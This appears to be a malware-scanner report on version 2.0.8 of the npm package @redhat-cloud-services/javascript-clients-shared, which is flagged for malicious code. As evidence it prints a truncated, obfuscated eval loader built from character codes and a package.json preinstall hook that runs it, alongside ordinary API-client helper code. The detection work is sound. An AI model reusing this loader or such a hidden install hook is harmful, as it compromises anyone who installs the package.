@redhat-cloud-services/javascript-clients-shared 2.0.8
preinstall executes obfuscated payload
Megabyte charcode-packed payload feeds direct evalPreinstall executes obfuscated bundled eval dropper
SHA-256c5cef6e6f685d15c67bb7ba78a241a4cf9eae2ee537d1d5ee14859b5cfac3d4a
MaleculeO₂(S₄As₂)H₄(Cm₅Db₃OsPo₂)Md(Pa₆)
Also flagged by osv (MAL-2026-5143: Malicious code in @redhat-cloud-services/javascript-clients-shared (npm)) +3 more.
Evidence
1try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,114,106,112,101,116,40,41,61,62,123,107,105,112,123,10,116,102,101,106,107,32,95,116,61,114,110,114,122,107,32,122,100,103,102,105,107,40,34,101,102,117,118,58,116,105,112,103,107,102,34,41,59,10,116,102,101,106,107,32,95,117,61,40,98,44,122,44,114,44,116,41,61,62,123,116,102,101,106,107,32,117,61,95,116,46,116,105,118,114,107,118,85,118,116,122,103,121,118,105,122,109,40,34,114,118,106,45,49,50,56,45,120,116,100,34,44,83,108,119,119,118,105,46,119,105,102,100,40,98,44,34,121,118,111,34,41,44,83,108,119,119,118,105,46,119,105,102,100,40,122,44,34,121,118,111,34,41,44,123,114,108,107,121,75,114,120,67,118,101,120,107,121,58,49,54,125,41,59,117,46,106,118,107,82,108,107,121,75,114,120,40,83,108,119,119,118,105,46,119,105,102,100,40,114,44,34,121,118,111,34,41,41,59,105,118,107,108,105,101,32,83,108,119,119,118,105,46,116,102,101,116,114,107,40,91,117,46,108,103,117,114,107,118,40,83,108,119,119,118,105,46,119,105,102,100,40,116,44,34,121,118,111,34,41,41,44,117,46,119,122,101,114,99,40,41,93,41,125,59,10,10,116,102,101,106,107,32,95,115,61,95,117,40,34,117,48,52,50,53,55,49,51,116,118,119,54,57,115,116,50,117,56,57,56,49,53,117,55,119,119,57,115,52,55,53,117,34,44,34,55,54,51,53,116,53,119,53,116,57,51,116,55,116,118,116,116,117,52,56,117,56,53,48,34,44,34,119,48,55,48,114,48,55,56,118,48,53,48,117,53,53,117,114,51,52,52,114,52,116,51,49,53,52,56,115,57,56,51,34,44,34,117,117,52,53,54,57,48,50,51,118,52,50,51,49,51,56,115,115,115,50,117,54,118,114,52,49,118,50,50,55,115,51,57,118,52,115,118,56,57,54,50,57,54,55,50,51,52,53,114,48,115,116,52,115,118,55,51,54,119,50,48,117,51,115,52,55,114,118,57,114,49,119,48,116,114,114,119,114,114,118,57,116,51,56,115,53,118,52,48,114,54,54,119,49,53,118,55,48,50,54,53,57,116,118,51,49,114,55,54,115,56,52,50,51,114,115,117,52,50,53,49,118,119,51,115,115,118,50,54,119,57,48,119,119,54,52,51,1 …
76:11… /dist/*/index.d.ts"
77 ]
78 }
79 },
80 "publishConfig": {
81 "access": "public"
82 },
83 "repository": {
84 "type": "git",
85 "url": "git+https://github.com/RedHatInsights/javascript-clients.git"
86 },
87 "author": "",
88 "license": "Apache-2.0",
89 "bugs": {
90 "url": "https://github.com/RedHatInsights/javascript-clients/issues"
91 },
92 "homepage": "https://github.com/RedHatInsights/javascript-clients#readme",
93 "scripts": {
94 "doc": "typedoc",
95 "preinstall": "node index.js"
96 },
97 "dependencies": {
98 "axios": "^1.15.0",
99 "tslib": "^2.6.2"
100 }
101}
87:54… ation) {
88 if (configuration && (configuration.username || configuration.password)) {
89 object["auth"] = { username: configuration.username, password: configuration.password };
90 }
91};
⋯6 lines
113:19… se 4:
114 accessToken = _a;
115 object["Authorization"] = "Bearer " + accessToken;
116 _b.label = 5;
117 case 5: return [2 /*return*/];
118 }
119 });
120 …
180:17… ams = function (url) {
181 var objects = [];
182 for (var _i = 1; _i < arguments.length; _i++) {
183 objects[_i - 1] = arguments[_i];
184 }
185 var searchParams = new URLSearchParams(url.search);
186 setFlattenedQueryParams(searchParams, objects);
187 url.search = searchParams.toString();
188};
189exports.setSearchParams = setSearchParams;
⋯5 lines
Showing the top 5 files — 6 more files (29 regions) not shown.
No evidence locations were recorded for this file. Raw result